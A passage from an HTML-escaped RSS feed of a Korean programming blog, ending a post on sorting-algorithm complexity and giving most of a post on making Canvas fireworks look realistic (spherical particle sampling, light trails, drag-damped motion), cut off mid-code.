&lt;td&gt;&lt;strong&gt;작거나 거의 정렬된 구간&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;병합&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;최악 보장이 필요할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;퀵&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(log n)&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;범용 기본값&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;힙&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;최악 방어용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심은 하나입니다. &lt;strong&gt;복잡도 차이는 입력이 커질 때만 드러납니다.&lt;/strong&gt; 32개에서 3배였던 차이가 1만 개에서 376배가 되고, 100만 개에서는 2만 5천 배가 됩니다. 반대로 원소가 20개뿐이라면 삽입 정렬이 퀵 정렬보다 빠릅니다 — 실제 표준 라이브러리가 그렇게 동작합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 것&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 그래서 직접 구현할 일이 있나요?&lt;/strong&gt;
A. 거의 없습니다. 표준 라이브러리가 교과서 알고리즘보다 빠릅니다. 다만 &lt;strong&gt;왜 빠른지&lt;/strong&gt;는 알아야 합니다. &quot;거의 정렬된 데이터를 다시 정렬하는 비용&quot;이나 &quot;정렬 두 번으로 다중 키 정렬하기&quot; 같은 판단이 여기서 나옵니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 퀵 정렬이 최악 O(n²)면 위험하지 않나요?&lt;/strong&gt;
A. 실무 구현은 그냥 퀵 정렬이 아닙니다. 중앙값 피벗을 고르고, 재귀가 깊어지면 힙 정렬로 바꿉니다(introsort). 사용자 입력이 최악 케이스를 만들어 서비스를 느리게 하는 공격도 이 방식으로 막습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. &lt;code class=&quot;language-text&quot;&gt;O(n log n)&lt;/code&gt;보다 빠른 정렬은 없나요?&lt;/strong&gt;
A. 비교 기반 정렬은 &lt;code class=&quot;language-text&quot;&gt;O(n log n)&lt;/code&gt;이 하한입니다. 다만 비교를 안 쓰면 더 빠를 수 있습니다. 계수 정렬·기수 정렬은 값의 범위가 제한적일 때 &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt;에 가깝게 동작합니다. 대신 범용성이 없습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Canvas로 불꽃축제 만들기 — 진짜처럼 보이게 하는 5가지]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 불꽃놀이를 Canvas로 그리는 예제는 많습니다. 대부분 몇십 줄이면 동작합니다. 그런데 막상 만들어 보면 불꽃처럼 보이지 않습니다. 점이 사방으로 흩어지는 애니메이션일 뿐 폭죽으로 안 읽힙니다. 4…]]></description><link>https://blog.javapark.kr/canvas-fireworks/</link><guid isPermaLink="false">https://blog.javapark.kr/canvas-fireworks/</guid><pubDate>Mon, 07 Sep 2026 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/99f4ab610a57c40b810b19d9081a1b62/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACD0lEQVR42j2S2WobQRBFh0SatXuq920WaWakkRRrhOMF25ITIogJwSE2eXIWERICIf//A2n7wXCoh4LbVXVvB6MwH0fPgK++80yUAEaUAtOcFUqUWpRKFJJrxgDTYBTBi9BDRhF9+cQoIuOIeGUY5QgRBtwKYQV/ehrGMXhJFOeG82Ac09KaaeWsMU1VlM4C0eOEhQmNUwI5lUzUWhZaRplExFpTde1c6NoKGiRInZ5vt7t3293+3f7m4vINAjuKxThmacYY4VrIxqnaaqYm/WLYnhwfDl93+xtNcIBIcfhxeHj4fvvp/vP9w89ff6ezDYiJsp1UJaPCStk6NXXWlot+sRmG18vVxhTtxIggA7e/Wu/Oj3wt6sXdl2+///zbv7/98PFu2JwBZk7pxslp4bDsmJmZaslMT1RTGxlkpJqtd/P1dbO87Ie3rjlOoU6hijKT5d5Uo4XyQ6aFzXktzIzKhumZNG2peIBo3a937epq0l/Mjq7b1Za7FVEzqjrglTdPMOXUY0LeAkJtDhKDBpCPhvnJujrS9VC2p645MZPjen7mpkPRbITpMiwJkYoxxbm3MMpEnMkwYXHGJH0Sg+iI7qlZEbPK5RyxJiV1gl2EjM8iQ9wHRoGECUkRx7nIicyw/yQQpFBSPed2yd0rohdYdJi3/pYUigSbKBVhTMM4z9I8R5jm4PHbYwRhiP8DWE5CEnZjVhsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/99f4ab610a57c40b810b19d9081a1b62/a1b3b/thumbnail.webp 215w,
/static/99f4ab610a57c40b810b19d9081a1b62/fc700/thumbnail.webp 430w,
/static/99f4ab610a57c40b810b19d9081a1b62/521f7/thumbnail.webp 860w,
/static/99f4ab610a57c40b810b19d9081a1b62/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/99f4ab610a57c40b810b19d9081a1b62/f7886/thumbnail.png 215w,
/static/99f4ab610a57c40b810b19d9081a1b62/bc750/thumbnail.png 430w,
/static/99f4ab610a57c40b810b19d9081a1b62/3e3fe/thumbnail.png 860w,
/static/99f4ab610a57c40b810b19d9081a1b62/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/99f4ab610a57c40b810b19d9081a1b62/3e3fe/thumbnail.png&apos; alt=&apos;코드로 그린 불꽃축제 — 도시 야경과 강물 반사 위로 화포가 터지는 모습&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;코드로 그린 불꽃축제 — 도시 야경과 강물 반사 위로 화포가 터지는 모습&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;불꽃놀이를 Canvas로 그리는 예제는 많습니다. 대부분 몇십 줄이면 동작합니다. 그런데 막상 만들어 보면 불꽃처럼 보이지 않습니다. &lt;strong&gt;점이 사방으로 흩어지는 애니메이션일 뿐 폭죽으로 안 읽힙니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;46초짜리 불꽃축제 영상을 코드로만 만들면서 그 간극을 좁혀 봤습니다. 카메라도, 소재 영상도, 배경음악도 쓰지 않았습니다. 결론부터 말하면 이렇습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;현실감은 불꽃 파티클이 아니라 그 &lt;strong&gt;주변&lt;/strong&gt;에서 나옵니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 글에서 다루는 것들을 실제로 적용한 &lt;strong&gt;46초 영상&lt;/strong&gt;입니다. 카메라도 소재 영상도 배경음악도 쓰지 않고 화면의 모든 픽셀과 소리를 코드로 만들었습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/N73L3X6ZXSI&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAAEL0lEQVR42kVUy47cRBR1NJl2+1FlV7lcVX6/n233a2a6kwn0JCQKIQkEEQ0SQkIsAAkhxAoWiEhILBBSxDb8A4hdfoEtfBLXEx7S0fWte8+559qyrcwMVzVcDUmT+BYNbBYSN3ZFKmQWBMWqa8/Wq2Xblmlaplmd52lSCB4eqVQ1XUU1+RwJRAPqxkyk3Mv9sEySJsu6vh0W3eKwP7l1sg6CLE7rJ+9/8NmnH//w4/fd+ga4TmLd9sANZF5YhFGdZm3TjE07XtzcXz44vPPGftkPy2G1PTv//Otvf3v58pdff7949BSWVTQsEQmYzPygCuMmSduyHPp+tRq3J9vdvcOtJ3dv7rab3fbk6eXlV989++PPv56/eHF4+xLRUDGswHIi6RcgA6R5V9Zj3y+365Oz0/3DO+fv3X/t6f3zDx+9/u5bd7/84pPnP//0zbNn9XhGeKogElKehjE8iw48AVU9btany3ED+vPd7s3D/tHt3f3D/vZu/dHl48cPH9y8uJckJfczBdNYgG0C245tu27bVdUsb1/cWfTr/enZdnt642w3LFZ1M5b1MHSLPGuYSGTwSuxMWZp1Vb2sayCts2KI027RrcZhs9mAfl9WS5iYFYsw6YKkDeIa/ByZK4gmjizCpAVxUY1VvcrLoZjyIS/7frFpuzVMLJupG6d9lHUyrLlfOiJXDJJglrl+BW5pPlTtOs56MEmKMa+WebkoqxFkeTmW1RClvR+3IHa90uaFYtDUdDKb5zysvaiRUSPCxovapFyW7QZ8YItuOE3yIcp6WFsENfMqixeI5YpJU9AjlhFRukFDZQk9gCtzWEeGLRRPdgc/7mEo8ysgYF6AreXCPTuZ+S8sXiJWwFQbBvnwqvUyqCF3ZAWRyop605GKkvAC+IrJMrDFLAdc5TmIrwCDciIK4MFSUMHuP4ZQByWoFLCCKsT/MB3dAkM+8cCheBVNNuF/plMoNi/J1UqOV1NZ0KutXoH8mziyBgCHXBUncKhXimE6CDPbiVxZ2EQwN/XCTviNhAgIWsgJi20nZKIQYcv9ZioGLXUzEBPNoCZ2seXONOLwNM6GIAZ9AV+oK1OL+gi7MxU7PInSIcmGMF0ACPUVzSCaTrAldJMBKQyrttnk+TBthIhNPWhhi187MrjI6nrt8sR2AjTxHQVhYhg2xtxA3LIEFxHnkScTQoRhUof5jAWWLY5Vi7khtBByDMRU3YabVWYqUjULfEzMpojY9WNT0ykw5poNYkI9A7kgtm0By8NEaF2fYROcVdVS57aq2dCGqBvOXHd0051rZDa34AhQ5+TadaTp0KKzOT5W8dExVmc2iOGCNY2AEtjIkpRFNgngEZjIhSkajNPI0bFpIk6c0LSkiTnkUFSOJ1ui6o4GbsYUNSR0LHTL0zFAwk9ubrK5wa5aXJ8gIELlb9atrDOJA04dAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/67d72af592ce6489219e4643b6fbfc87/a1b3b/video-thumb.webp 215w,
/static/67d72af592ce6489219e4643b6fbfc87/fc700/video-thumb.webp 430w,
/static/67d72af592ce6489219e4643b6fbfc87/521f7/video-thumb.webp 860w,
/static/67d72af592ce6489219e4643b6fbfc87/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/67d72af592ce6489219e4643b6fbfc87/f7886/video-thumb.png 215w,
/static/67d72af592ce6489219e4643b6fbfc87/bc750/video-thumb.png 430w,
/static/67d72af592ce6489219e4643b6fbfc87/3e3fe/video-thumb.png 860w,
/static/67d72af592ce6489219e4643b6fbfc87/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/67d72af592ce6489219e4643b6fbfc87/3e3fe/video-thumb.png&apos; alt=&apos;코드로 만든 불꽃축제 영상 — 도시 야경과 강물 반사 위로 화포가 터지는 장면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;코드로 만든 불꽃축제 영상 — 도시 야경과 강물 반사 위로 화포가 터지는 장면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 도넛처럼 보이는가&lt;/h2&gt;
&lt;p&gt;가장 먼저 부딪히는 문제입니다. 파티클을 균등하게 뿌렸는데 가운데가 빈 고리가 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 흔한 코드 — 그리고 고리가 되는 이유&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; angle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;PI&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; vx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;cos&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;angle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; speed
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; vy &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;angle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; speed&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각도를 한 바퀴 돌리면 파티클은 &lt;strong&gt;원둘레 위에만&lt;/strong&gt; 놓입니다. 하지만 실제 화포는 평면이 아니라 사방으로 터집니다. 그 구를 옆에서 보면 원반이고, 가장자리가 밝은 형태가 됩니다.&lt;/p&gt;
&lt;p&gt;방향을 구면에서 뽑아야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 구면 균등 분포 — z를 균등하게 뽑는 것이 핵심이다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; dz &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; r1 &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// cos(theta) 균등&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; phi &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; r2 &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;PI&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; s &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sqrt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; dz &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; dz&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; dx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; s &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;cos&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;phi&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; dy &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; s &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;phi&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 화면에 그릴 두 축&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// dz 는 화면에 안 그리지만 깊이 정보로 쓴다&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;theta&lt;/code&gt;를 균등하게 뽑으면 극 쪽에 몰립니다. &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;cos(theta)&lt;/code&gt;를 균등하게 뽑아야&lt;/strong&gt; 구 표면에 고르게 퍼집니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;dz&lt;/code&gt;는 버리지 말고 깊이로 씁니다. 앞으로 오는 별을 크고 밝게 그리면 평면이 아니라 입체로 읽힙니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; depth &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.68&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.42&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dz &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
alpha &lt;span class=&quot;token operator&quot;&gt;*=&lt;/span&gt; depth
radius &lt;span class=&quot;token operator&quot;&gt;*=&lt;/span&gt; depth&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;그래도 도넛이라면&lt;/h3&gt;
&lt;p&gt;구면으로 바꿔도 여전히 가운데가 비어 보일 수 있습니다. 실제로 그랬습니다.&lt;/p&gt;
&lt;p&gt;파티클을 늘려도 소용없습니다. &lt;strong&gt;실제 불꽃 사진이 꽉 차 보이는 이유는 별의 개수가 아니라 중심에서 바깥으로 뻗는 긴 광적(光跡)이기 때문입니다.&lt;/strong&gt; 카메라 노출 시간 동안 별이 지나간 궤적이 선으로 남습니다.&lt;/p&gt;
&lt;p&gt;꼬리를 0.05초에서 0.3초로 늘리자 한 번에 해결됐습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 지금 위치와 0.3초 전 위치를 잇는다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; back &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;positionAt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dt &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;beginPath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;moveTo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;back&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; back&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;lineTo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;now&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; now&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stroke&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;감속을 넣으면 반경이 1/3 이 된다&lt;/h2&gt;
&lt;p&gt;중력만 넣고 등속으로 날리면 별 모양으로 뻗기만 합니다. 실제 별은 공기 저항으로 빠르게 감속했다가 그 자리에서 흘러내립니다.&lt;/p&gt;
&lt;p&gt;속도가 &lt;code class=&quot;language-text&quot;&gt;v&apos; = -kv&lt;/code&gt;로 감쇠하면 이동 거리는 이렇게 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; reach &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;exp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;k &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; dt&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; k &lt;span class=&quot;token comment&quot;&gt;// 최종값은 1/k 로 수렴&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cx &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; dx &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; v &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; reach&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서 함정이 하나 있습니다. &lt;code class=&quot;language-text&quot;&gt;v&lt;/code&gt;에 원하는 반경을 그대로 넣으면 &lt;strong&gt;화면에 실제로 그려지는 반경은 &lt;code class=&quot;language-text&quot;&gt;v/k&lt;/code&gt;&lt;/strong&gt; 가 됩니다. &lt;code class=&quot;language-text&quot;&gt;k = 1.45&lt;/code&gt;라면 의도의 69%, 감속을 더 세게 주면 3분의 1까지 줄어듭니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;r&lt;/code&gt;이 &quot;도달 반경&quot;이라는 뜻이 되게 하려면 환산해야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; v &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; k &lt;span class=&quot;token comment&quot;&gt;// 이러면 최종 도달 거리가 정확히 r 이 된다&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;중력도 같은 감쇠를 받습니다. 이게 버들형(willow) 불꽃의 늘어지는 곡선을 만듭니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; fall &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;G&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dt &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;exp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;k &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; dt&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; k&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; k
